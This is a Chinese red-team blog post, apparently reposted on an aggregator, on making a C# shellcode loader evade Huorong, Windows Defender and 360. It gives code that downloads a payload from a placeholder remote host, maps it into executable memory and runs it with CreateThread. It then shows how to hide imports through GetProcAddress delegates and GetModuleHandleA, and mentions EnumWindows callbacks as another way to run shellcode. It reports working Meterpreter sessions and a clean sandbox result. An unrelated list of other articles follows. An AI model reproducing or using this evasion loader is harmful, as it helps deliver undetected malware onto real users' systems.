【红队技巧】.Net免杀 绕过主流杀软

news2024/11/15 12:41:27

【技巧】.Net免杀 绕过主流杀软

前言

最近执行任务时,需要动用自己的免杀知识却发现它们不再生效,于是就有了本文。这次对windows api和C#又有了比在thm​学习时更深的认识和了解。

  • C#动态加载
  • LoadLinrary受限绕过
  • EnumWindows函数执行shellcode

C#动态加载 - 火绒

我在执行任务时,我惊讶的发现,我的TryHackMe 祖传C#代马 steged分阶段加载器,居然被火绒落地秒杀

在这里插入图片描述

虽然360、defender不会报毒,但落地被火绒秒杀属实有点对不起thm大学的知识

伪代码:

    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    
    string URI = "http://<ip>:<port>/<fileName>";
    WebClient webClient = new WebClient();
    webClient.DownloadData(URI);

    VirtualAlloc(0, (UInt32)State.Length, 0x1000, 0x40);
    Marshal.Copy(State, 0, (IntPtr)(Open), State.Length);
    
    CreateThread(0, 0, Open, parameter, 0, ref threadId);
    WaitForSingleObject(QQHandle, 0xFFFFFFFF);
    }

我针对代码,自下而上进行单行注释,直到p/invoke的CreateThread函数,当我把这个函数签名这一行给注释掉后,火绒就不杀了,结论就是:火绒碰到p/invoke的CreateThread立马干掉

我尝试了CreateRemoteThread,这并不会导致被杀,也就是说目前可以确定火绒只会针对:

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

换句话说只要IAT表或导入表里有CreateThread,立马就杀,所以这段代码不管怎么改也绕不过去

解决方案 - 动态加载

我总觉得我学过,但太久没用有点回忆不起来,我翻了翻曾经在thm上学的知识,最终还是找到了它

在这里插入图片描述

这是C++版本的动态加载,通过LoadLibrary函数动态加载dll到内存,最后通过GetProcAddress函数获取指定的函数地址,最终实现调用指定dll的指定函数

C#的实现

即便通过C#,想要做到这一点也相当简单,我们只需要通过委托来替代c++中的定义结构

首先我们需要通过p/invoke加载LoadLibrary和GetProcAddress,并且获取CreateThread函数的函数地址

[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string _);

[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr __, string _);

...

h_Module = LoadLibrary("kernel32.dll");
fooProc = GetProcAddress(h_Module, "CreateThread");

创建委派,函数签名的参数个数、类型与CreateThread函数参数个数、类型一致

然后通过GetDelegateForFunctionPointer函数将函数指针转换成委托

private delegate IntPtr _ct(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

...

var ct = Marshal.GetDelegateForFunctionPointer<ct>(fooProc);

这样,我们就可以通过委托去执行CreateThread函数了,对完整修改并编译后,火绒最终还是失效了

Windows Denfender - LoadLinrary受限绕过

通过上述方法绕过火绒后,没想到回头被defender给干掉了,我通过同样的思路,对代码进行单行注释,结果发现defender的检测点是p/invoke的LoadLibrary函数,于是我去微软文档寻找函数平替。

最后发现GetModuleHandleA函数,它于LoadLibrary函数类似,但GetModuleHandleA不会被defender检测,通过它,我们成功绕过defender、火绒在对于IAT/导入表中某些函数的检测

msf meterpreter常规反向上线正常

在这里插入图片描述

defender静态、执行不报

在这里插入图片描述

火绒、360静态不报

执行也不报

msf meterpreter上线

在线检测

基本上到这里也差不多够用,再通过其它thm、前辈的小技巧,混淆、加壳、签名等等,基本应该也够用了

我这里就不作代码以外的事情,直接把上面的完整C#代码编译后,不作任何加壳签名啥的,直接裸上传沙箱看看效果

微步云沙箱

微步云沙箱最终被标记为安全

在这里插入图片描述

没有高危行为

在这里插入图片描述

被一个Baidu-China检测了,其它全都不报

在这里插入图片描述

当然,如果不绕沙箱的话,最终的shellcode应该还是会被捕获并检测,毕竟shellcode是正版msf的payload,但绕沙箱不在本文范围。

EnumWindows执行shellcode - CreateThread平替

此外我通过搜索微软文档,发现了一个函数可以通过callback回调函数,达到执行shellcode的效果

EnumWindows

只要把shellcode的地址丢给它,它便能执行,做到类似于CreateThread+WaitForSingleObject的效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2090252.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Theadlocal是什么?有哪些使用场景?底层实现是什么?

首先在线程里有一个ThreadlocalMap这个变量&#xff0c;在我们调用threadlocal.set&#xff08;&#xff09;方法的时候其实就是操作当前线程的ThreadlocalMap&#xff0c;将threadlocal放到key上将threadlocal的值存入value中。 这是set方法的具体实现。 需要注意的是&#x…

普元Devops-在云主机上拉取harbor的docker镜像并部署

1 前言 本文讲解如何从普元Devops配置构建&#xff0c;从而实现在云主机上拉取Docker镜像&#xff0c;然后运行Docker容器&#xff0c;实现云主机的Docker部署。 2 主要步骤说明 首先&#xff0c;我们有一个Devops服务器&#xff0c;还有一个云主机服务器&#xff0c;还有一个…

springboot+redis+mybatis体会布隆过滤器

1.建立数据库表和对应实体类 CREATE TABLE user (id int(11) NOT NULL AUTO_INCREMENT,uname varchar(50) DEFAULT NULL,usex varchar(20) DEFAULT NULL,uage int(11) DEFAULT NULL,PRIMARY KEY (id) USING BTREE ) ENGINEInnoDB AUTO_INCREMENT1319 DEFAULT CHARSETutf8 ROW_…

美国硅谷多ip服务器用途广吗?

美国硅谷多IP服务器的用途广泛&#xff0c;涉及多个行业和应用场景&#xff0c;包括站群运营、SEO优化、游戏代理、软件开发、数据分析、科学研究、电子商务、在线营销、虚拟主机和云服务等。具体分析如下&#xff0c;rak小编为您整理发布美国硅谷多ip服务器用途广吗的相关内容…

JetBrains WebStorm 2024.2 (macOS, Linux, Windows) - 最智能的 JavaScript IDE

JetBrains WebStorm 2024.2 (macOS, Linux, Windows) - 最智能的 JavaScript IDE JetBrains 跨平台开发者工具 请访问原文链接&#xff1a;ttps://sysin.org/blog/jetbrains-webstorm/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sy…

OpenCV绘图函数(12)绘制直线函数 line()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 line 函数在图像中绘制从 pt1 到 pt2 两点之间的线段。这条线会被图像边界裁剪。对于没有抗锯齿效果且坐标为整数的线&#xff0c;会使用 8-连接…

HarmonyOS开发实战( Beta5版)减小应用包大小

简介 减小应用包大小是提升应用下载、安装体验的重要方式之一。通过压缩、精简或者复用应用中的代码或资源&#xff0c;可以有效降低应用的大小&#xff0c;提升应用下载和安装速度&#xff0c;减少系统空间占用。 开发者可以参考下面三种方法减小应用包大小&#xff1a; 配…

数据结构—栈和队列

栈 一、栈的概念及结构 栈&#xff08;Stack&#xff09;是一种特殊的线性表&#xff0c;其只允许在表的固定的一端进行插入和删除操作。 栈顶&#xff1a;进行插入数据和删除数据的一端。 栈底&#xff1a;相对于栈顶的另一端。 原则&#xff1a;栈的数据元素遵循后进先出…

【Python报错已解决】`TypeError`:`TypeError: not enough arguments for format string`

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引言 在Python编程中&#xff0c;TypeError是一个常见的错误类型&#xff0c;它表示在操作或函数调用中使用了错误的类型。本文…

服务器死机/无故宕机排查思路/服务器起不来

1、查看服务器型号 dmidecode -t system dmidecode | grep ‘Product Name’ 2、风扇异响&#xff1a;查看BMC&#xff0c;坏了一个风扇其他的所有的风扇会全速转。 3、服务器亮红灯 红灯就是 故障告警 不一定是啥需要查看BMC口日志。这种就是看bmc日志 会有打印的 -问题现象&a…

java中的反射Reflection

Java中的反射&#xff08;Reflection&#xff09;是一种强大的机制&#xff0c;它允许程序在运行时查询和操作对象的类型信息。通过反射API&#xff0c;程序可以动态地创建对象、调用方法、访问字段和构造函数等&#xff0c;即使在编译时这些信息是未知的。 反射的原理 反射的…

微软分享其首款定制人工智能芯片Maia 100的更多细节

在2023年Ignite大会期间&#xff0c;微软首次宣布其已开发出名为Maia的自主人工智能加速器芯片。今年早些时候&#xff0c;在Build开发者大会上&#xff0c;微软分享了其首个自主研发的人工智能加速器Azure Maia 100的更多细节。Maia 100 是台积电 5nm 节点上制造的最大处理器之…

深拷贝与浅拷贝的区别

浅拷贝会导致深层数据改变&#xff0c;而深拷贝不会改变任何数据。 简单说就是&#xff1a; 浅拷贝只复制某个对象的引用&#xff0c;而不复制对象本身&#xff0c;新旧对象还是共享同一块内存。 深拷贝会创造一个一模一样的对象&#xff0c;新对象和原对象不共享内存&#x…

江协科技stm32————10-4 I2C通信协议

目录 I2C外设简介 I2C功能框图 基本结构图&#xff08;一主多从&#xff09; GPIO复用输入输出图 主机发送​编辑 START stop ​ EV5 &#xff08;标志位&#xff09; BTF 主机接收 ACK 软件/硬件波形对比 I2C外设简介 可变多主机模型11110作为10位地址模式的标志位…

「OC」初识MVC —— 简单学习UITableView的解耦

「OC」初识MVC —— 简单学习UITableView的解耦 文章目录 「OC」初识MVC —— 简单学习UITableView的解耦写在前面认识MVC解耦数据源代理 创建cell的基础类创建section的相关类分离数据源分离代理总结参考资料 写在前面 最近在学习了解MVC&#xff0c;然后开始发现&#xff0c…

VSCode连接SSH发生connection timeout

想用用实验室服务器连接vscode跑HM编码&#xff0c;今天突然连服务器连不到&#xff0c;报错&#xff1a;[13:47:13.068] Opening exec server for ssh-remotea406-server-lan [13:47:13.082] Initizing new exec server for ssh-remotea406-server-lan [13:47:13.089] Using c…

Apple LLM: 智能基础语言模型(AFM)

今天想和大家分享一下我最近在arXiv.org上看到苹果发表的一篇技术论文 Apple Intelligence Foundation Language Models (https://arxiv.org/abs/2407.21075)&#xff0c;概述了他们的模型训练。这虽然出乎意料&#xff0c;但绝对是一个积极的惊喜&#xff01; 这篇论文有那么多…

Dubbo如何传递链路追踪id?

1.什么是链路追踪&#xff1f; 分布式链路追踪就是将一次分布式请求还原成调用链路&#xff0c;将一次分布式请求的调用情况集中展示&#xff0c;比如各个服务节点上的耗时、请求具体到达哪台机器上、每个服务节点的请求状态等等。 链路跟踪主要功能&#xff1a; 故障快速定…

ET6框架(五)ECS组件式编程

文章目录 一、什么是ECS:二、ECS编程原则&#xff1a;三、组件生命周期&#xff1a; 一、什么是ECS: ECS即Entity、Component、System的简称&#xff0c;遵循组合优于继承的原则 Entity(实体) : 实体是一个概念&#xff0c;是指存在你游戏世界中的一个独立物体&#xff0c;是一…

图机器学习实战:从数据源到可视化

《动手学图机器学习》并不是一本纯粹介绍图机器学习理论的著作&#xff0c;Alessandro Negro 博士作为科学家和 Reco4 公司的 CEO&#xff0c;长期维护图数据源的推荐系统。他结合机器学习工程和图机器学习方法&#xff0c;通过推荐引擎、欺诈检测和知识图谱等案例&#xff0c;…